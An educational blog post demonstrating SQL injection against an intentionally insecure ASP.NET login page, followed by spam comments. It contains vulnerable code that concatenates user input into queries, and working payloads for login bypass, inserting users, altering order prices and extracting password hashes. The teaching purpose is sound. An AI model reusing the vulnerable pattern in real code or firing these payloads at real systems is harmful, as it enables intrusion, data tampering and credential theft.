SQL Injection Demo

SQL injection seems to have faded from prominence lately and has become just a buzz word. To make things a little more real I put together a quick demo for it, to demonstrate that you don't necessarily have to go out of your way to make your web application exploitable.

 

Here are the ingredients for this demo:

  1. ASP.NET application using System.Data.SqlClient to access a SQL database.
  2. SQLExpress (or any other db) with some tool to directly author to the database.

 

CAUTION: This is a sample to demo SQLInjection and is hence insecure. Do not use this sample as the basis for a web application.

 

Setting up the Database

 

I used SQLExpress for my demo, but you can use whatever is available. Just be sure to update the connection string in your ASP.Net application.

  • Enable the sa account and gave it a password.
  • Connect to the database with this account to make sure it works. You can use SQL Server Management Studio Express (SSMSE) to do this.
  • Create a database called WebApp and create tables as follows.

 

db_design

 

  • Populate the tables with sample data.
  • Try running a few queries against through SSMSE to make sure things work, eg:
SELECT * FROM Users; SELECT * From Orders;

 

 

Setting up a Web Application on your Server

 

I used IIS 7.0 and ASP.NET 2.0, but you could use other tools as well.

  • Make sure IIS is running and that you can access the default page.
  • Under the same directory you can add the following ASP.NET page (SQLLoginUnsafe.aspx) and the code-behind file (SQLLoginUnsafe.aspx.cs)
  • Here is the sample ASP.NET page, SqlLoginUnsafe.aspx.
<!--
    SQLLoginUnsafe.aspx
    Author: Nazim Lala
-->
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="SQLLoginUnsafe.aspx.cs" 
    Inherits="SQLLoginUnsafe" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head runat="server">
    <title>Untitled Page</title>
</head>

<body>
    <form id="form1" runat="server">
    <div>
    
        This is the Unsafe SQL Login Page.<br />
        <br />
        Username:</div>
    <asp:TextBox ID="TextBoxUsername" runat="server" Width="200px">
    </asp:TextBox>
    <br />
    <br />
    Password:<br />
    <asp:TextBox ID="TextBoxPassword" runat="server" Width="200px">
    </asp:TextBox>
    <br />
    <br />
    Result:<br />
    <asp:Label ID="LabelResult" runat="server" Text="-"></asp:Label>
    <br />
    <br />
    <asp:Button ID="ButtonLogin" runat="server" onclick="ButtonLogin_Click" 
        Text="Login" />
    <br />
    <br />
    <asp:Label ID="LabelData" runat="server" Text="Here is your Order history" 
        Visible="False"></asp:Label>
    <br />
    <br />
    <asp:GridView ID="GridView1" runat="server" Visible="False">
    </asp:GridView>
    <br />
    <asp:Button ID="ButtonLogout" runat="server" onclick="ButtonLogout_Click" 
        Text="Logout" Visible="False" />
    <br />
    <br />
    </form>
</body>
</html>
  • Here is the sample code-behind the ASP.Net page, SQLLoginUnsafe.aspx.cs.

 
/*
 * SQLLoginUnsafe.aspx.cs
 * Author: Nazim Lala
 * 
 */
using System;
using System.Web;
using System.Web.UI;
using System.Web.UI.HtmlControls;
using System.Web.UI.WebControls;
using System.Text;
using System.Data;
using System.Data.SqlClient;

public partial class SQLLoginUnsafe : System.Web.UI.Page
{
    private string _username;
    private string _password;
    private bool _loggedIn = false;

    private string _connString = 
        @"Data Source=.\SQLEXPRESS;"+
        "Initial Catalog=WebApp;"+
        "Integrated Security=True;";

    private SqlConnection _sqlConn = null;

    protected void ButtonLogin_Click(object sender, EventArgs e)
    {
        _username = Request["TextBoxUsername"];
        _password = Request["TextBoxPassword"];

        if (!IsNonEmptyCredentials())
        {
            LabelResult.Text = "ERROR: Cannot have empty credentials.";
            return;
        }

        if (AttemptSQLLogin())
        {
            // Login succeeded
            
            // Fill order data
            FillOrderData();

            EnableLoggedInVisuals();

        }
        else
        {
            DisableLoggedInVisuals();
        }

    }

    protected bool IsNonEmptyCredentials()
    {
        if (_username == null ||
             _username.Length == 0 ||
             _password == null ||
             _password.Length == 0)
        {
            return false;
        }
        else return true;
 
    }

    protected bool AttemptSQLLogin()
    {
        try
        {
            _sqlConn = new SqlConnection(_connString);
            _sqlConn.Open();
        }
        catch (Exception ex)
        {
            LabelResult.Text = String.Format(
                "ERROR: Failed to open SQL Connection: {0}", ex.Message);
            return false;
        }

        SqlDataReader dataReader = null;

        string SQLQuery = String.Format(
            "SELECT * FROM Users WHERE Username='{0}' AND Password='{1}'", 
            _username, _password);

        SqlCommand command = new SqlCommand(SQLQuery, _sqlConn);

        try
        {
            dataReader = command.ExecuteReader(CommandBehavior.SingleResult);

            if (dataReader.HasRows)
            {
                LabelResult.Text = String.Format("Login success");
                dataReader.Close();
                _loggedIn = true;
                return true;
            }
            else
            {
                LabelResult.Text = String.Format(
                    "Login failed: Invalid credentials");
                dataReader.Close();
                return false;
            }

        }
        catch (Exception ex)
        {
            LabelResult.Text = String.Format(
                "ERROR: Failed to execute SQL command: {0}", ex.Message);
            return false;
        }

        //return true;
    }

    protected bool FillOrderData()
    {
        SqlDataReader dataReader = null;

        if (!_loggedIn)
        {
            LabelResult.Text = "No user logged it";
            return false;
        }

        string SQLQuery = String.Format(
            "SELECT Orders.OrderId, Orders.Amount, Orders.CreditCard "+
            "FROM Users, Orders WHERE Users.Username='{0}' "+
            "AND Users.UserId=Orders.UserId", _username);

        SqlCommand command = new SqlCommand(SQLQuery, _sqlConn);

        try
        {
            dataReader = command.ExecuteReader(CommandBehavior.Default);

            GridView1.DataSource = dataReader;
            GridView1.DataBind();

            dataReader.Close();

            return true;
        }
        catch (Exception ex)
        {
            LabelResult.Text = String.Format(
                "ERROR: Failed to execute SQL command: {0}", ex.Message);
            return false;
        }
    }

    protected void ButtonLogout_Click(object sender, EventArgs e)
    {
        LabelResult.Text = "Logged Out";
        _loggedIn = false;
        _username = "";
        _password = "";
        DisableLoggedInVisuals();
    }

    protected void EnableLoggedInVisuals()
    {
        ButtonLogin.Enabled = false;
        ButtonLogin.Visible = false;
        LabelData.Visible = true;
        GridView1.Enabled = true;
        GridView1.Visible = true;
        ButtonLogout.Enabled = true;
        ButtonLogout.Visible = true;
        
    }

    protected void DisableLoggedInVisuals()
    {
        ButtonLogin.Enabled = true;
        ButtonLogin.Visible = true;
        LabelData.Visible = false;
        GridView1.Enabled = false;
        GridView1.Visible = false;
        ButtonLogout.Enabled = false;
        ButtonLogout.Visible = false;
        
    }
}
 
  • Make sure you can access the website from your local machine.

 

Making the SQL Injection Requests

 

Now onto the fun part. Let's say we have a user 'Foo' with password 'foo' in our Users table for the purpose of this exercise.

 

  1. Trying an invalid user/password.

    Username: Unknown
    Password: unknown

    Screen1

    As expected we get a login failure.

  2. Bypassing login for a known user. Let's say we know user 'Foo' exists.

    Username: Foo'--
    Password: junk

    Screen2


    By using '--' for commenting out the rest of the conditions in the query we have been able to skip password validation for user 'Foo'

  3. Bypassing login for unknown user. Let's say we don't know any user on the site.

    Username: ' OR 1=1--
    Password: junk

    Screen3 

    We used a tautology (1=1) to bypass all security checks. Notice that I know have the order information for *all* users.
  4. Injecting a new user. Let's say I want to add a user 'Hijack' with password 'This'.

    Username: ';INSERT INTO Users VALUES (100,'Hijack','This')--
    Password: junk

    Screen4a 

    But now using those credentials succeeds.

    Screen4b

  5. Changing price of all orders to 0.01

    Username: ';UPDATE Orders Set Amount=0.01--
    Password: junk

    Screen5a

    And using an earlier example to list all orders we see that all the prices have changed.

    Screen5b 


  6. Injecting SQL users and password hashes into the Orders table and getting it to display

    So this is a little tricky. sys.sql_logins table has the information of interest. But how do we go about displaying it.
    The answer is simple, we inject all the information into the Orders table and get the query to display it.

    Username: 'OR 1=1;INSERT INTO Orders (OrderId, UserId, Amount, CreditCard) SELECT principal_id+1000,principal_id+1000,principal_id*1.0,name FROM sys.sql_logins UNION SELECT principal_id+1000,principal_id+1000,principal_id*1.0,master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins--
    Password: junk

    Screen6

    Now that we have user names and password hashes, you could use one of several external hash cracking tools to actually get to the password.

Conclusion

 

It is quite easy to see how quickly one can invade a system through the use of SQL injection. The million dollar question is "How do I protect myself "? The answer is, follow best practices.

  • Sanitize your input using both black lists and white lists.
  • Use parameterized SQL and NEVER use string concatenation to generate queries.
  • Protect your database resources wisely and use the notion of "least privilege" to access information.

 

Hope this helped in making SQL injection a more concrete issue to protect your applications against, rather than a buzz word.

Published Wednesday, April 30, 2008 11:12 PM by naziml

Comments

# re: SQL Injection Demo

Wednesday, April 30, 2008 6:48 PM by naziml

I have had a couple of formatting issues with the code snippets. At a cursory glance they look all resolved, but if something is broken, do let me know.

# re: SQL Injection Demo

Wednesday, April 30, 2008 6:59 PM by Mike Amundsen

Excellent examples. Thanks for the post!

# re: SQL Injection Demo

Thursday, June 5, 2008 11:10 AM by FooHoo

Would this lines be safe against sql injections?

protected void SomeSQLDataSource_Inserting(object sender, SqlDataSourceCommandEventArgs e)

{          

e.Command.Parameters["@SomeGroupName"].Value = SomeGroupName.SelectedValue;

       e.Command.Parameters["@SomeProdRadioButton"].Value = SomeProdRadioButton.SelectedValue;

       e.Command.Parameters["@SomeProdDiv"].Value = SomeProdDiv.Text;

}

Thanks!

# re: SQL Injection Demo

Friday, October 10, 2008 3:33 PM by oyunlar

thank you so much

# re: SQL Injection Demo

Friday, October 10, 2008 3:34 PM by oyunlar

teşekkürler dostum

# re: SQL Injection Demo

Friday, November 14, 2008 6:02 PM by islami sohbet

I think need to be more explanation that how to use. Thanks.

# re: SQL Injection Demo

Tuesday, December 2, 2008 1:30 PM by chat

It is interesting blog. Pleasant to me. I wish you a nice day!

Thank you

# re: SQL Injection Demo

Wednesday, December 3, 2008 6:24 PM by Estetik

very good thank you

# re: SQL Injection Demo

Monday, December 8, 2008 5:17 AM by Gerrit

Nice blog!

# re: SQL Injection Demo

Saturday, December 13, 2008 6:47 PM by oyun

ı have followed your writing for a long time.really you have given very successful information.

In spite of my english trouale,I am trying to read and understand your writing.

And ı am following frequently.I hope that you will be with us together with much more scharings.

I hope that your success will go on.

# re: SQL Injection Demo

Sunday, January 11, 2009 1:06 PM by sohbet

good work.thank you

# re: SQL Injection Demo

Sunday, January 11, 2009 1:06 PM by sohbet

good work.thank you

<a href="http://www.sohbet15.com">sohbet</a>

# re: SQL Injection Demo

Sunday, January 11, 2009 1:07 PM by sohbet

good work.thank you

# re: SQL Injection Demo

Sunday, January 11, 2009 1:07 PM by sohbet

good work.thank you

# re: SQL Injection Demo

Monday, January 19, 2009 8:19 AM by mobil

thanks you :)

<a rel="nofollow" href="http://www.mobilhat.com" title="mobil" target="_blank">mobil</a>

# re: SQL Injection Demo

Wednesday, January 28, 2009 5:26 AM by Chat

thanks..

# re: SQL Injection Demo

Wednesday, January 28, 2009 5:27 AM by Chat

thanks..

# re: SQL Injection Demo

Thursday, February 5, 2009 4:58 PM by Oyun

I used SQLExpress for my demo, but you can use whatever is available. Just be sure to update the connection string in your ASP.Net application.

# re: SQL Injection Demo

Thursday, February 12, 2009 12:56 PM by Savas Oyunları

www.savasoyunlarimiz.com

# re: SQL Injection Demo

Thursday, February 12, 2009 1:03 PM by Savas Oyunları

www.savasoyunlarimiz.com

# re: SQL Injection Demo

Thursday, February 12, 2009 1:03 PM by 3d Oyunları

www.savasoyunlarimiz.com

# re: SQL Injection Demo

Thursday, February 12, 2009 1:04 PM by 3d Oyunları

www.savasoyunlarimiz.com

# re: SQL Injection Demo

Thursday, February 12, 2009 2:19 PM by Yeni Oyunlar

http://www.oyun60.net

# re: SQL Injection Demo

Thursday, February 12, 2009 3:50 PM by Zombi Oyunları

www.savasoyunlarimiz.com

# re: SQL Injection Demo

Thursday, February 19, 2009 1:56 AM by Oyun

thanks a lot..

http://www.aylak.com

# re: SQL Injection Demo

Saturday, February 21, 2009 5:31 PM by savaş oyunları

thanks

# re: SQL Injection Demo

Saturday, February 21, 2009 5:31 PM by savaş oyunları

thanks

# re: SQL Injection Demo

Saturday, February 21, 2009 5:31 PM by giydirme

well

# re: SQL Injection Demo

Saturday, February 21, 2009 5:32 PM by komik oyunlar

superrr

# re: SQL Injection Demo

Saturday, February 21, 2009 8:04 PM by samsun

thanks

# re: SQL Injection Demo

Thursday, February 26, 2009 8:51 AM by Oyun

thanks you..

http://sinema.aylak.com http://www.elemanbak.com

http://sohbet.aylak.com

# re: SQL Injection Demo

Thursday, February 26, 2009 8:52 AM by Oyun

thanks a lot..

http://sinema.aylak.com

# re: SQL Injection Demo

Sunday, March 8, 2009 11:45 AM by seo

great topic excellent codes.

# re: SQL Injection Demo

Saturday, October 17, 2009 5:39 PM by Ad3m34

Very nice Blog number one topic.

Regards

http://www.Sohbet32.Net

Leave a Comment

(required) 
(required) 
(optional)
(required) 
Powered by Community Server (Commercial Edition), by Telligent Systems